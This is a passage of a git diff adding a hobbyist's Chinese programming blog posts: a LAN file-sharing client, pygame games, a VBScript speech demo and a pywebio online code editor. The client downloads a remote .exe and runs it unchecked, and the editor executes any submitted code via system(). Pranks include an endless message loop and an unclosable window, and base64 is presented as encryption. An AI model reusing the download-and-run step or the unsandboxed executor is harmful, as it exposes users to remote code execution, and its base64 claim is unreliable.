up[len(up) - 1], + "text": temp, + } + res1 = post(ip + "upload", data=data).json()["state"] + if res1 == "okay": + msgbox("File upload succeeded.", title) + + +# File download function +def download(): + res1 = get(ip + "visitall").json()["files"] + file_list = b64decode(res1.encode()).decode().split("/") + if res1 != "": + cho = choicebox("Please select the file to download.", title, choices=file_list) + res2 = get(ip + "download?file=%s" % cho).json() + fileText = b64decode(res2["file"].encode()) + types = splitext(cho)[1] + dow = asksaveasfilename( + title=title, + filetypes=[("All Files", types)], + initialfile=cho, + initialdir=desktop, + ) + with open(dow, "wb") as f: + f.write(fileText) + msgbox("File download succeeded.", title) + else: + msgbox("You haven't uploaded any files yet. Please upload one first.", title) + +# Short URL function +def biturl(): + url = enterbox("Enter the original URL you need to generate a short URL:", title) + comp = r"(http|ftp|https):\/\/[\w\-_]+(\.[\w\-_]+)+([\w\-\.,@?^=%&:/~\+#]*[\w\-\@?^=%&/~\+#])?" + if not compile(url): + msgbox("The URL you entered is incorrect. Please re-enter it.", title) + exit() + res1 = get( + ip + "biturl", + params={ + "url": url, + }, + ).json() + if res1["text"] == "okay": + bitu = ip + res1["biturl"] + msgbox( + "Your short URL was generated successfully! You can visit the following website.\n\nOriginal website: %s\nShortened URL: %s" + % (url, bitu), + title, + ) + + +# Main function (task assignment function) +def main(): + t = ["File Upload", "File Download", "Short URL", "About", "Switch Server", "Exit"] + cho = buttonbox("Please select the service you need.\nServer: %s" % ip, title, t) + if cho == t[0]: + upload() + elif cho == t[1]: + download() + elif cho == t[2]: + biturl() + elif cho == t[3]: + textbox( + "Here are some information about us:", + title, + text="About us:\nBlog: https://pandaoxi.blog.csdn.net/\nOur email: 2060642520@qq.com\nWechat: pandaoxi2021\nQQ:3377063617\n\nWelcome to this program! This program is designed to help all users in the LAN carry out network transmission, and the main functions are as follows:\n1. Server cloud storage;\n2. Upload and download files quickly (without speed limit);\n3. Shorten the website quickly to make access more convenient;\n4. The program runs quickly and supports multiple operating systems;\n5. Encrypted file transmission.\nIf you have any related questions, you can use any of the contact information mentioned above to contact us for reporting; If an error is found during the operation of the program, please report it to the developer. thank!", + ) + elif cho == t[4]: + if name == "nt": + temp = get('https://pandaoxi.coding.net/p/pandaoxi/d/PanDaoxi/git/raw/master/%E5%8E%86%E5%8F%B2%E9%A1%B9%E7%9B%AE/Panda_Cloud/URL_Generation_Tool.exe') + with open('function.exe','wb') as f: + f.write(temp.content) + system('call function.exe') + else: + openW("https://pandaoxi.coding.net/public/pandaoxi/PanDaoxi/git/files/master/%E5%8E%86%E5%8F%B2%E9%A1%B9%E7%9B%AE/Panda_Cloud/URL_Generation_Tool.py") + msgbox("You can use this program to modify the IP address of the program.",title) + exit() + else: + exit() + + +# Judge operating conditions +if __name__ == "__main__": + try: + while True: + main() + except Exception as e: + msgbox( + "A fatal error has occurred in the program, so the program cannot run. Please send this message to the developer: %s" + % e, + title, + ) +hide.mainloop() + +``` + diff --git "a/PowerPoint\350\266\205\351\223\276\346\216\245\347\202\271\345\207\273\345\217\230\350\211\262.md" "b/PowerPoint\350\266\205\351\223\276\346\216\245\347\202\271\345\207\273\345\217\230\350\211\262.md" new file mode 100644 index 0000000..4ac8be2 --- /dev/null +++ "b/PowerPoint\350\266\205\351\223\276\346\216\245\347\202\271\345\207\273\345\217\230\350\211\262.md" @@ -0,0 +1,36 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/46ea7d31190a4b678781646c4c5181c6.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +大家对`PowerPoint`一定很熟悉了!作为一名小学生,在班里**没少见老师用课件**,我也经常看到我妈做课件(她是中学老师)。 + +今天一海口的同学问我说怎么给超链接点击变色,说点一下就跳转走,再回去时就成别的颜色了。我仔细想了想,应该是这样的。 + +> 运行环境:Windows 10 +> 软件:WPS +> 不同环境和软件可能效果有所出入。 + +在大家眼里,超链接是这样的: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/8a22a842b7d14e4b85b3d8dff7499ad6.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +本来是这样的: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/85bcd1daec314c2f8ef3647151d33332.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +点了一下,变成这样的: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/006e2170d6e74ceb90fa51eb946b20c1.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +颜色变化老单一了,不好看,怎么换个颜色呢? +详细步骤如下: + + 1. 先把它们剪切走,然后点击插入,创建一个矩形: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/84e2ccb52bb846eaaa10a9cca4bdcc74.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + + 2. 粘贴进去一个超链接![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/da681f7214d746faab88108c9f3aa5c6.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +就变成了一个超链接,但是不会变色。 +3.这样一个矩形,**点击动画,填充颜色**:![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/7b1db5f06af84e1ba7a332f3412b3785.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/bdae3c5a5e5e483f9d614b16a0d4cf4c.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/6536ebd44e3b47a582ab213275cb615d.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_15,color_FFFFFF,t_70,g_se,x_16) +4.选中,右键,选择**计时**后依次选择对应选项: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/6f1ef5cde5ca44ab9abd532c7b4eeb14.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_18,color_FFFFFF,t_70,g_se,x_16) + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/be56ef182e174635919453a02e630bce.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_18,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/705ba49370bc48119c2619a4b91fe083.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_18,color_FFFFFF,t_70,g_se,x_16) +5.现在,已经设置完毕了。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/d142935af528490c9f32d5336ff3074c.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/d3f746e91dae4e92a3e47d52c2914558.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + diff --git "a/Python+VBScript\350\256\251\347\224\265\350\204\221\350\257\264\350\257\235.md" "b/Python+VBScript\350\256\251\347\224\265\350\204\221\350\257\264\350\257\235.md" new file mode 100644 index 0000000..3d9a6e5 --- /dev/null +++ "b/Python+VBScript\350\256\251\347\224\265\350\204\221\350\257\264\350\257\235.md" @@ -0,0 +1,56 @@ +今天我们来认识一门新的编程语言——vbs。(**[点击这里查看百科](https://baike.so.com/doc/4934679-5155117.html)**) +打开记事本,我们先来写一个简单的vbs程序来认识一下它: + +```vbnet +Msgbox "Hello,World!",64,"box" +``` +[(文字框的百科点这里)](https://baike.so.com/doc/6726208-6940452.html) +`^S`保存,**编码格式为`ANSI`**,保存类型为`所有文件`,命名为`Hello,World.vbs`,保存到桌面。 +双击打开它以后会出现一个文字框,上面写着`Hello,World!`字样。 + +可以嵌套一个循环,就成了恶搞了,请看下面代码(无尽循环,除非用`taskkill /im wscript.exe /f`没有办法关掉,慎用): + +```vbnet +do +Msgbox "You are fool!",64,"warning" +loop +``` + +这种文字框就是Python的这种效果: +```python +from tkinter import Tk +from tkinter.messagebox import showinfo +window = Tk() +window.withdraw() +showinfo('box','Hello,World!') +window.mainloop() +``` + +vbs让电脑说话的代码是: + +```vbnet +set sapi = CreateObject("SaPi.SpVoice") +sapi.Speak "hello,world!" +``` +一定要注意保存的时候要把编码格式改成`ANSI`,否则就报错了! + +**下面开始写代码!** + +> 本次我们需要`easygui`库,需要自己下载安装,命令`pip3 install easygui`,帮助手册参考这篇优秀文章,[点击这里查看](https://www.cnblogs.com/bldly1989/p/6651855.html)。 + +还是老规矩,打开开发工具,新建一个空白的Python文档,输入以下内容: + +```python +# 导入包 +from os import system + +def say(text): #创建say方法 + with open('say.vbs','w+',encoding = 'ANSI') as file: #创建文件 + file.write('set sapi = CreateObject("SaPi.SpVoice")\nsapi.Speak "%s"' % (strtext)) #写入代码 + system('call "say.vbs" & del /q /s /f "say.vbs" >nul') # 打开文件,删除文件 + +#调用 +say('你好呀!') +say('我是一个vbs程序,我还能说英语!信不信?') +``` +代码完成了,如果大家对这门代码感兴趣,那么请自行百度搜索学习! diff --git "a/Python\343\200\212\346\211\223\347\240\226\345\235\227\343\200\213\345\260\217\346\270\270\346\210\217.md" "b/Python\343\200\212\346\211\223\347\240\226\345\235\227\343\200\213\345\260\217\346\270\270\346\210\217.md" new file mode 100644 index 0000000..afb0cc3 --- /dev/null +++ "b/Python\343\200\212\346\211\223\347\240\226\345\235\227\343\200\213\345\260\217\346\270\270\346\210\217.md" @@ -0,0 +1,301 @@ +我们一如既往打开Python编辑器,输入以下代码: + +```python +#导入模块 +import pygame +from pygame.locals import * +import sys,random,time,math + +class GameWindow(object): + '''创建游戏窗口类''' + def __init__(self,*args,**kw): + self.window_length = 600 + self.window_wide = 500 + #绘制游戏窗口,设置窗口尺寸 + self.game_window = pygame.display.set_mode((self.window_length,self.window_wide)) + #设置游戏窗口标题 + pygame.display.set_caption("CatchBallGame") + #定义游戏窗口背景颜色参数 + self.window_color = (135,206,250) + + def backgroud(self): + #绘制游戏窗口背景颜色 + self.game_window.fill(self.window_color) + +class Ball(object): + '''创建球类''' + def __init__(self,*args,**kw): + #设置球的半径、颜色、移动速度参数 + self.ball_color = (255,215,0) + self.move_x = 1 + self.move_y = 1 + self.radius = 10 + + def ballready(self): + #设置球的初始位置、 + self.ball_x = self.mouse_x + self.ball_y = self.window_wide-self.rect_wide-self.radius + #绘制球,设置反弹触发条件 + pygame.draw.circle(self.game_window,self.ball_color,(self.ball_x,self.ball_y),self.radius) + + def ballmove(self): + #绘制球,设置反弹触发条件 + pygame.draw.circle(self.game_window,self.ball_color,(self.ball_x,self.ball_y),self.radius) + self.ball_x += self.move_x + self.ball_y -= self.move_y + #调用碰撞检测函数 + self.ball_window() + self.ball_rect() + #每接5次球球速增加一倍 + if self.distance < self.radius: + self.frequency += 1 + if self.frequency == 5: + self.frequency = 0 + self.move_x += self.move_x + self.move_y += self.move_y + self.point += self.point + #设置游戏失败条件 + if self.ball_y > 520: + self.gameover = self.over_font.render("Game Over",False,(0,0,0)) + self.game_window.blit(self.gameover,(100,130)) + self.over_sign = 1 + +class Rect(object): + '''创建球拍类''' + def __init__(self,*args,**kw): + #设置球拍颜色参数 + self.rect_color = (255,0,0) + self.rect_length = 100 + self.rect_wide = 10 + + def rectmove(self): + #获取鼠标位置参数 + self.mouse_x,self.mouse_y = pygame.mouse.get_pos() + #绘制球拍,限定横向边界 + if self.mouse_x >= self.window_length-self.rect_length//2: + self.mouse_x = self.window_length-self.rect_length//2 + if self.mouse_x <= self.rect_length//2: + self.mouse_x = self.rect_length//2 + pygame.draw.rect(self.game_window,self.rect_color,((self.mouse_x-self.rect_length//2),(self.window_wide-self.rect_wide),self.rect_length,self.rect_wide)) + +class Brick(object): + def __init__(self,*args,**kw): + #设置砖块颜色参数 + self.brick_color = (139,126,102) + self.brick_list = [[1,1,1,1,1,1],[1,1,1,1,1,1],[1,1,1,1,1,1],[1,1,1,1,1,1],[1,1,1,1,1,1]] + self.brick_length = 80 + self.brick_wide = 20 + + def brickarrange(self): + for i in range(5): + for j in range(6): + self.brick_x = j*(self.brick_length+24) + self.brick_y = i*(self.brick_wide+20)+40 + if self.brick_list[i][j] == 1: + #绘制砖块 + pygame.draw.rect(self.game_window,self.brick_color,(self.brick_x,self.brick_y,self.brick_length,self.brick_wide)) + #调用碰撞检测函数 + self.ball_brick() + if self.distanceb < self.radius: + self.brick_list[i][j] = 0 + self.score += self.point + #设置游戏胜利条件 + if self.brick_list == [[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]]: + self.win = self.win_font.render("You Win",False,(0,0,0)) + self.game_window.blit(self.win,(100,130)) + self.win_sign = 1 + +class Score(object): + '''创建分数类''' + def __init__(self,*args,**kw): + #设置初始分数 + self.score = 0 + #设置分数字体 + self.score_font = pygame.font.SysFont('arial',20) + #设置初始加分点数 + self.point = 1 + #设置初始接球次数 + self.frequency = 0 + + def countscore(self): + #绘制玩家分数 + my_score = self.score_font.render(str(self.score),False,(255,255,255)) + self.game_window.blit(my_score,(555,15)) + +class GameOver(object): + '''创建游戏结束类''' + def __init__(self,*args,**kw): + #设置Game Over字体 + self.over_font = pygame.font.SysFont('arial',80) + #定义GameOver标识 + self.over_sign = 0 + +class Win(object): + '''创建游戏胜利类''' + def __init__(self,*args,**kw): + #设置You Win字体 + self.win_font = pygame.font.SysFont('arial',80) + #定义Win标识 + self.win_sign = 0 + +class Collision(object): + '''碰撞检测类''' + #球与窗口边框的碰撞检测 + def ball_window(self): + if self.ball_x <= self.radius or self.ball_x >= (self.window_length-self.radius): + self.move_x = -self.move_x + if self.ball_y <= self.radius: + self.move_y = -self.move_y + + #球与球拍的碰撞检测 + def ball_rect(self): + #定义碰撞标识 + self.collision_sign_x = 0 + self.collision_sign_y = 0 + + if self.ball_x < (self.mouse_x-self.rect_length//2): + self.closestpoint_x = self.mouse_x-self.rect_length//2 + self.collision_sign_x = 1 + elif self.ball_x > (self.mouse_x+self.rect_length//2): + self.closestpoint_x = self.mouse_x+self.rect_length//2 + self.collision_sign_x = 2 + else: + self.closestpoint_x = self.ball_x + self.collision_sign_x = 3 + + if self.ball_y < (self.window_wide-self.rect_wide): + self.closestpoint_y = (self.window_wide-self.rect_wide) + self.collision_sign_y = 1 + elif self.ball_y > self.window_wide: + self.closestpoint_y = self.window_wide + self.collision_sign_y = 2 + else: + self.closestpoint_y = self.ball_y + self.collision_sign_y = 3 + #定义球拍到圆心最近点与圆心的距离 + self.distance = math.sqrt(math.pow(self.closestpoint_x-self.ball_x,2)+math.pow(self.closestpoint_y-self.ball_y,2)) + #球在球拍上左、上中、上右3种情况的碰撞检测 + if self.distance < self.radius and self.collision_sign_y == 1 and (self.collision_sign_x == 1 or self.collision_sign_x == 2): + if self.collision_sign_x == 1 and self.move_x > 0: + self.move_x = - self.move_x + self.move_y = - self.move_y + if self.collision_sign_x == 1 and self.move_x < 0: + self.move_y = - self.move_y + if self.collision_sign_x == 2 and self.move_x < 0: + self.move_x = - self.move_x + self.move_y = - self.move_y + if self.collision_sign_x == 2 and self.move_x > 0: + self.move_y = - self.move_y + if self.distance < self.radius and self.collision_sign_y == 1 and self.collision_sign_x == 3: + self.move_y = - self.move_y + #球在球拍左、右两侧中间的碰撞检测 + if self.distance < self.radius and self.collision_sign_y == 3: + self.move_x = - self.move_x + + #球与砖块的碰撞检测 + def ball_brick(self): + #定义碰撞标识 + self.collision_sign_bx = 0 + self.collision_sign_by = 0 + + if self.ball_x < self.brick_x: + self.closestpoint_bx = self.brick_x + self.collision_sign_bx = 1 + elif self.ball_x > self.brick_x+self.brick_length: + self.closestpoint_bx = self.brick_x+self.brick_length + self.collision_sign_bx = 2 + else: + self.closestpoint_bx = self.ball_x + self.collision_sign_bx = 3 + + if self.ball_y < self.brick_y: + self.closestpoint_by = self.brick_y + self.collision_sign_by = 1 + elif self.ball_y > self.brick_y+self.brick_wide: + self.closestpoint_by = self.brick_y+self.brick_wide + self.collision_sign_by = 2 + else: + self.closestpoint_by = self.ball_y + self.collision_sign_by = 3 + #定义砖块到圆心最近点与圆心的距离 + self.distanceb = math.sqrt(math.pow(self.closestpoint_bx-self.ball_x,2)+math.pow(self.closestpoint_by-self.ball_y,2)) + #球在砖块上左、上中、上右3种情况的碰撞检测 + if self.distanceb < self.radius and self.collision_sign_by == 1 and (self.collision_sign_bx == 1 or self.collision_sign_bx == 2): + if self.collision_sign_bx == 1 and self.move_x > 0: + self.move_x = - self.move_x + self.move_y = - self.move_y + if self.collision_sign_bx == 1 and self.move_x < 0: + self.move_y = - self.move_y + if self.collision_sign_bx == 2 and self.move_x < 0: + self.move_x = - self.move_x + self.move_y = - self.move_y + if self.collision_sign_bx == 2 and self.move_x > 0: + self.move_y = - self.move_y + if self.distanceb < self.radius and self.collision_sign_by == 1 and self.collision_sign_bx == 3: + self.move_y = - self.move_y + #球在砖块下左、下中、下右3种情况的碰撞检测 + if self.distanceb < self.radius and self.collision_sign_by == 2 and (self.collision_sign_bx == 1 or self.collision_sign_bx == 2): + if self.collision_sign_bx == 1 and self.move_x > 0: + self.move_x = - self.move_x + self.move_y = - self.move_y + if self.collision_sign_bx == 1 and self.move_x < 0: + self.move_y = - self.move_y + if self.collision_sign_bx == 2 and self.move_x < 0: + self.move_x = - self.move_x + self.move_y = - self.move_y + if self.collision_sign_bx == 2 and self.move_x > 0: + self.move_y = - self.move_y + if self.distanceb < self.radius and self.collision_sign_by == 2 and self.collision_sign_bx == 3: + self.move_y = - self.move_y + #球在砖块左、右两侧中间的碰撞检测 + if self.distanceb < self.radius and self.collision_sign_by == 3: + self.move_x = - self.move_x + +class Main(GameWindow,Rect,Ball,Brick,Collision,Score,Win,GameOver): + '''创建主程序类''' + def __init__(self,*args,**kw): + super(Main,self).__init__(*args,**kw) + super(GameWindow,self).__init__(*args,**kw) + super(Rect,self).__init__(*args,**kw) + super(Ball,self).__init__(*args,**kw) + super(Brick,self).__init__(*args,**kw) + super(Collision,self).__init__(*args,**kw) + super(Score,self).__init__(*args,**kw) + super(Win,self).__init__(*args,**kw) + #定义游戏开始标识 + start_sign = 0 + + while True: + self.backgroud() + self.rectmove() + self.countscore() + + if self.over_sign == 1 or self.win_sign == 1: + break + #获取游戏窗口状态 + for event in pygame.event.get(): + if event.type == pygame.QUIT: + sys.exit() + if event.type == MOUSEBUTTONDOWN: + pressed_array = pygame.mouse.get_pressed() + if pressed_array[0]: + start_sign = 1 + if start_sign == 0: + self.ballready() + else: + self.ballmove() + + self.brickarrange() + + #更新游戏窗口 + pygame.display.update() + #控制游戏窗口刷新频率 + time.sleep(0.010) + +if __name__ == '__main__': + pygame.init() + pygame.font.init() + catchball = Main() + +``` +这是一个小游戏,代码很长,大家直接复制拿去用就行了! diff --git "a/Python\344\275\277\347\224\250base64\345\212\240\345\257\206.md" "b/Python\344\275\277\347\224\250base64\345\212\240\345\257\206.md" new file mode 100644 index 0000000..b485da2 --- /dev/null +++ "b/Python\344\275\277\347\224\250base64\345\212\240\345\257\206.md" @@ -0,0 +1,24 @@ +> 有时候我们要是进行登录操作的话,需要使用加密方法,以确保安全。 +> 今天我们来说一种加密解密的方法:`base64`,实际上它是一种应用于图片的编码格式。 +> 本次我们需要在Windows系统上的Python3。 + +一如既往,老操作:打开开发工具,新建一个空的Python文档,输入以下代码: + +```python +from base64 import b64encode,b64decode + +message = '我是潘道熹' +encod = b64encode(message.encode()) +decod = b64decode(encod).decode('utf-8') + +print('加密后:',encod) +print('解密后:',decod) +``` +效果: + +``` +加密后: b'5oiR5piv5r2Y6YGT54a5' +解密后: 我是潘道熹 +``` +代码完成了! + diff --git "a/Python\345\201\232\344\270\200\344\270\252\347\256\200\345\215\225\347\232\204\345\234\250\347\272\277\347\274\226\350\276\221\345\231\250.md" "b/Python\345\201\232\344\270\200\344\270\252\347\256\200\345\215\225\347\232\204\345\234\250\347\272\277\347\274\226\350\276\221\345\231\250.md" new file mode 100644 index 0000000..66455a2 --- /dev/null +++ "b/Python\345\201\232\344\270\200\344\270\252\347\256\200\345\215\225\347\232\204\345\234\250\347\272\277\347\274\226\350\276\221\345\231\250.md" @@ -0,0 +1,108 @@ +祝大家新年快乐,虎年大吉,诸事顺利! + +```python +from pywebio.input import * +from pywebio.output import put_text +from os import system,remove +try: + code = textarea('Code Edit Online', code={'mode': "python",'theme': 'darcula'}, value='# input your code here\n') + with open('temp.py','w',encoding = 'utf-8') as f: + f.write(code) + system('python temp.py') + put_text('成功运行程序') +except Exception as e: + put_text('运行:错误 at %s' % e) +``` +主要使用了`pywebio`程序,实现了Python的简陋在线编辑器。 +相对C++编辑器就比较复杂,需要调用`g++.exe`,可能在您的电脑上,就不见得能用了,需要把Dev-C++安装到我这个位置,程序才可以运行,您可以修改程序。 + +```python +from pywebio.input import * +from pywebio.output import put_text +from sys import path +from os import system,remove +try: + system('chcp 65001 >nul') + code = textarea('Code Edit Online ( C++ )', code={'mode': "python",'theme': 'darcula',}, value='// input your code here.\n') + with open('temp.cpp','w',encoding='utf-8') as f: + f.write(code) + put_text('成功运行程序') + system(r'D:\Dev-C++\Dev-cpp\MinGW64\bin\g++.exe "%s\temp.cpp" -o "%s\temp.exe" && call "%s\temp.exe" && pause' % (path[0],path[0],path[0])) + remove('temp.cpp') + remove('temp.exe') +except Exception as e: + put_text('运行:错误 at %s' % e) +``` + +运行时会报一个错,不用管它,跟咱们的程序无关。如果不是这个错,那就是您的程序有BUG。 +```python +ERROR:tornado.application:Exception in callback functools.partial(>, .wait_to_stop_loop() done, defined at D:\python\lib\site-packages\pywebio\platform\tornado.py:420> exception=AttributeError("module 'asyncio' has no attribute 'all_tasks'",)>) +Traceback (most recent call last): + File "D:\python\lib\site-packages\tornado\ioloop.py", line 741, in _run_callback + ret = callback() + File "D:\python\lib\site-packages\tornado\ioloop.py", line 765, in _discard_future_result + future.result() + File "D:\python\lib\site-packages\pywebio\platform\tornado.py", line 440, in wait_to_stop_loop + tasks = [t for t in asyncio.all_tasks() if t is not asyncio.current_task() and not t.done()] +AttributeError: module 'asyncio' has no attribute 'all_tasks' +``` + +
+ +测试程序,直接运行第一个,输入一段Python代码: + +```python +maxNumber = 100 +numbers = [] +min = 2 +numberSum = 0 +for i in range(1,101): + numbers.append(i) + +while min <= maxNumber: + is_prime = True + for i in range(2,min): + if (min % i) == 0: + is_prime = False + break + if is_prime == True: + numbers.remove(min) + min += 1 +print(numbers) + +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/845bdd05b64e44568e4a5e49d884a48b.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +点击蓝色按钮,观察控制台: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/e12f85ad237f440784f9748c5bd41e16.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/53351400161a422aba439435a2b2e70d.png) +成功。 + + +
+ +再测C++,测试代码如下(C++:画桃心): + +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + for(double y=1.5;y>-1.5;y-=0.1){ + for(double x=-1.5;x<1.5;x+=0.05){ + double a=x*x+y*y-1; + char b=(a*a*a-x*x*y*y*y<=0.0?'*':' '); + cout<= 3: + types = '可以密铺' + else: + types = '不能密铺' + print('%d边形的内角和是%d°\n这种图形%s!\n' % (sides,figure_sum,types)) + except Exception as e: + print('\n遇到错误:',e,'\n') +``` +这样,我们的代码就完成了。 diff --git "a/Python\345\210\266\344\275\234\350\256\241\346\227\266\345\231\250.md" "b/Python\345\210\266\344\275\234\350\256\241\346\227\266\345\231\250.md" new file mode 100644 index 0000000..3ec1eaa --- /dev/null +++ "b/Python\345\210\266\344\275\234\350\256\241\346\227\266\345\231\250.md" @@ -0,0 +1,34 @@ +今天我们来制作一个计时器,需要使用`pygame`,自行安装。话不多说,直接看代码: + +```python +import pygame +from pygame.locals import * +from time import sleep + +pygame.init() +count = 0 + +def fillText(content,cn): + global canvas + canvas = pygame.display.set_mode((1200,35)) + pygame.display.set_caption('计时器') + canvas.fill((225,225,225)) + + fonts = pygame.font.SysFont('Courier New',25,bold = 1) + renderFont = fonts.render(str(content),1,(0,0,0)) + canvas.blit(renderFont,(0,0)) + +def exitEvent(): + for event in pygame.event.get(): + if event.type == QUIT: + pygame.quit() + exit() + +while True: + exitEvent() + fillText('the number of seconds remaining:%d' % (count),(0,12)) + count += 1 + sleep(1) + pygame.display.update() +``` + diff --git "a/Python\345\246\202\344\275\225\350\256\251\347\224\265\350\204\221\342\200\234\345\227\250\342\200\235\350\265\267\346\235\245.md" "b/Python\345\246\202\344\275\225\350\256\251\347\224\265\350\204\221\342\200\234\345\227\250\342\200\235\350\265\267\346\235\245.md" new file mode 100644 index 0000000..cf237f3 --- /dev/null +++ "b/Python\345\246\202\344\275\225\350\256\251\347\224\265\350\204\221\342\200\234\345\227\250\342\200\235\350\265\267\346\235\245.md" @@ -0,0 +1,32 @@ + +[video(video-t2YWVOmZ-1640501970587)(type-bilibili)(url-https://player.bilibili.com/player.html?aid=507605863)(image-https://img-blog.csdnimg.cn/img_convert/650fb176724a15c696dbe55c03dadf5d.png)(title-程序运行视频)] + +```python +# 2021 12 25 - Pandaoxi +# 快乐的电脑 程序 +import pygame +from pygame.locals import * +from easygui import msgbox +from random import randint + +pygame.init() +pygame.mixer.init() +canvas = pygame.display.set_mode((500,500)) +pygame.display.set_caption('快乐的电脑') +canvas.fill((255,255,255)) +sound = pygame.mixer.Sound('./music.mp3') +sound.play() + +def getEvent(): + for event in pygame.event.get(): + if event.type == QUIT: + msgbox('电脑:你礼貌吗?不让我快乐?\n你想关掉这个窗口?\n不存在的。当然,电脑也不同意呢。','快乐的电脑','继续 HAPPY') + +while True: + canvas.fill((randint(0,255),randint(0,255),randint(0,255))) + getEvent() + pygame.display.update() +``` +这一段程序,请谨慎运行。其中的`music.mp3`,请到[这里](https://pandaoxi2020.lanzouy.com/i9jvQxzboud)下载。 +程序可以不断变更窗口颜色,让人眼花缭乱,而且关不掉,如果想要关掉请用任务管理器关,从窗口关的事件我在程序里改了。 + diff --git "a/Python\345\256\236\347\216\260\343\200\212\350\264\252\345\220\203\350\233\207\343\200\213\345\260\217\346\270\270\346\210\217\347\232\204\344\273\243\347\240\201.md" "b/Python\345\256\236\347\216\260\343\200\212\350\264\252\345\220\203\350\233\207\343\200\213\345\260\217\346\270\270\346\210\217\347\232\204\344\273\243\347\240\201.md" new file mode 100644 index 0000000..2a6ec9c --- /dev/null +++ "b/Python\345\256\236\347\216\260\343\200\212\350\264\252\345\220\203\350\233\207\343\200\213\345\260\217\346\270\270\346\210\217\347\232\204\344\273\243\347\240\201.md" @@ -0,0 +1,240 @@ +贪吃蛇,同学们都玩过吧(写这篇博客时,我才五年级)。今天我们来使用Python来做一个小游戏,希望大家喜欢。 +打开Python编辑器,输入以下代码: + +```python +#coding:utf-8 +import random +import pygame +import sys +from pygame.locals import * + +Snakespeed = 17 +Window_Width = 800 +Window_Height = 500 +Cell_Size = 20 # Width and height of the cells +# Ensuring that the cells fit perfectly in the window. eg if cell size was +# 10 and window width or windowheight were 15 only 1.5 cells would +# fit. +assert Window_Width % Cell_Size == 0, "Window width must be a multiple of cell size." +# Ensuring that only whole integer number of cells fit perfectly in the window. +assert Window_Height % Cell_Size == 0, "Window height must be a multiple of cell size." +Cell_W = int(Window_Width / Cell_Size) # Cell Width +Cell_H = int(Window_Height / Cell_Size) # Cellc Height + + +White = (255, 255, 255) +Black = (0, 0, 0) +Red = (255, 0, 0) # Defining element colors for the program. +Green = (0, 255, 0) +DARKGreen = (0, 155, 0) +DARKGRAY = (40, 